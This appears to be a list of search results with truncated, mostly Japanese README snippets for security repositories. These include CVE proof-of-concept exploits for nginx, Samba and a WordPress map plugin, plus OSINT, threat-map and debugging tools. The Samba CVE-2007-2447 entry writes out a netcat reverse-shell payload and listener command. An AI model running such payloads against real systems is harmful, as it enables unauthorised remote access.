CVE-2026-42533

CVE-2026-42533 — nginx ヒープバッファオーバーフロー PoC エクスプロイト 2パスキャプチャ破壊による事前認証リモートコード実行 公開 PoC リリース: 2026-07-27 — 待たずに今すぐパッチを適用してください。 | ---|--- CVE| CVE-2026-42533 CVSS 4.0| 9.2 重大 種別| ヒープバッファオーバーフロー CWE-122 影響を受けるバージョン| nginx 0.9.6 – 1.30.3 stable、0.9.6 – 1.31.2 mainline 修正バージョン| nginx 1.30.4 / 1.31.3、NGI...

Vanguard-Map

VANGUARD1 — マルチドメイン戦術インテリジェンスマップ 世界の動くものをリアルタイムで表示する3Dマップ：船舶のライブトラフィック（AIS）、航空機、 衛星、海底ケーブル、港湾、チョークポイント、宇宙天気 — これらを 150万点の地形クラウドとして描画し、昼夜の変化、海洋シミュレーション、映画的なカメラワークを備えています。 Three.jsとプレーンなESモジュールで構築。ビルドステップ不要、フレームワーク不要。 ▶ライブデモ — サインアップ不要です： 最初の画面でVIEW DEMO をクリックすると合成トラフィックを表示、または無料の...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 エクスプロイト これは、Sambaサーバにおける「ユーザー名」マップスクリプトコマンド実行として知られる脆弱性CVE-2007-2447を悪用するためのPythonスクリプトです。 説明 このエクスプロイトはSambaバージョン3.x～4.xを対象として開発されています。CVE-2007-2447は、攻撃者が悪意のあるユーザー名とパスワードを作成することで、脆弱なSambaサーバ上で任意のコマンドを実行することを可能にします。 使用方法 1. 攻撃用マシンでリスナーを設定します。例：Netcatを使用: nc -nvlp 1234 2...

bbrecon

This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...

joomla-cve-2018-6396

Joomla-CVE-2018-6396 Joomla! コンポーネント Google Map Landkarten PoC cve-2018-6396...

CVE-2007-2447

ExploitDev Journey 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' コマンド実行 オリジナルエクスプロイト: https://www.exploit-db.com/exploits/16320 エクスプロイト名: Samba username map script RCE CVE : 2007-2447 ラボ : Lame - HackTheBox 説明 Samba...

CVE-2007-2447

CVE-2007-2447 - username map script 「Samba 3.0.0から3.0.25rc3のsmbdにおけるMS-RPC機能は、リモートの攻撃者がshellメタ文字を使用して任意のコマンドを実行することを可能にします。これは1 SamrChangePassword関数を含み、smb.confオプション「username map script」が有効な場合に発生します。また、リモートの認証済みユーザーが2 リモートプリンタおよび3 ファイル共有管理における他のMS-RPC関数でshellメタ文字を使用してコマンドを実行することも可能にします。」 エクスプロイト...

Snap-Scraper

Snap Scraper 説明 Snap Scraper はオープンソース・インテリジェンスツールで、ユーザーが緯度と経度の座標を使用して Snapchat の Snap Map にアップロードされたメディアをダウンロードできるようにします。このプロジェクトは Snap inc. またはその関連会社や子会社とは一切提携、承認、維持、スポンサー、または推奨されていません。このプログラムは教育、フォレンジック、バグ報告のみを目的としており、無保証で提供されます。 このツールを使用する際は、以下の出版物を引用してください： 1. Richard Matthews, Kieren Lovell,...

typofinder

Domain typo finder ドメインタイポ発見のためのTypofinder NCC Group Plc によってオープンソースとして公開 - http://www.nccgroup.com/ 開発者: Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com Stephen Tomkinson, @neonbunny9 on twitter Matt Summers, matt dot summers at nccgroup dot com https://github.com/nccgroup/typofinder...

call_map

========== Call Map .. default-role:: code 概要 Call Map は、Python のコールグラフを操作するためのツールであり、他の言語のサポートも計画されています。以下は、callmap -m toolz を実行し、いくつかの関数をクリックした後のスクリーンショットです。 .. figure:: docs/UI-clicked-on-function.png Call Map...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro マススキャナー & 自動管理者作成 📌 説明 このツールは、WordPress用プラグイン WP Google Map Pro の脆弱性 CVE-2026-8732 を悪用します。この脆弱性により、認証されていない攻撃者がAJAXエンドポイント admin-ajax.php?action=wpgmptempaccessajax を介して有効な wpmptoken を取得できます。このトークンを使用して、攻撃者はWordPress管理パネルにアクセスし、新しい管理者ユーザーを作成できます。...

pefile

pefile pefile is a multi-platform Python module to parse and work with Portable Executable PE files. Most of the information contained in the PE file headers is accessible, as well as all the sections' details and data. The structures defined in the Windows header files will be accessible as...

PsyloDbg

PsyloDbg PsyloDbgは、完全にDelphiで書かれた、急速に成長しているユーザーフレンドリーなオープンソースのWindowsデバッガです。 このプロジェクトの主な目的は、マルウェアアナリストが分析プロセス中の対応時間を短縮するためのもう一つのツールを提供することです。 このプロジェクトはまだ非常に初期段階にあり、今後機能が段階的に拡張される予定です。 画像 デバッグイベント メモリマップ ロード済みモジュール デバッグ対象プロセスのツリー PEイメージのダンプと再構築（ベータ） デバッガ機能 = 実装済み = 未実装 ロード済みモジュール 一覧表示。...

anteon

eBPF を活用した Kubernetes モニタリングとパフォーマンステスト Anteon は、コードのインストルメンテーションやサイドカーなしで、K8s クラスターのサービスマップを自動生成します。これにより、システムのボトルネックを簡単に見つけることができます。赤い線はサービスのレイテンシが高いことを示しています。 ライブデモ • ドキュメント • Discord 🐝 Anteon とは何か？ Anteon （旧 Ddosify）は、eBPF ベースのオープンソースの Kubernetes モニタリング および パフォーマンステスト プラットフォームです。 🔎 Kubernetes...

CVE-2026-72898

Toucan2 の動作と :closed true なしの map に関する注意...

geoip-attack-map

最初に 現在、このプロジェクトを維持する時間はあまりありません。私はこの課題をJavaScriptを学び、すでに知っていたPythonを向上させる手段として引き受けました。実装に関しては、もっと別の方法があったはずだと確信しています。私のコードをダウンロードして閲覧してくださった方から建設的な批判をいただいても、気分を害することはありません。この作業を通じて多くのことを学びました。オープンソースコミュニティから今後も多くのことを教えていただけることを願っています。 注記: このプロジェクトを維持していないため、そのままでは動作しない機能がいくつかあります。例えば、正当なMapBox...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion

A directory traversal vulnerability in the iNetLanka Multiple Map commultimap component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php. id: CVE-2010-1953 info: name: Joomla! Component iNetLanka Multiple Map 1.0 - Local Fil...

WordPress Google Map Professional - Cross-Site Scripting

WordPress Google Map Professional Map In Your Language plugin through 1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such ...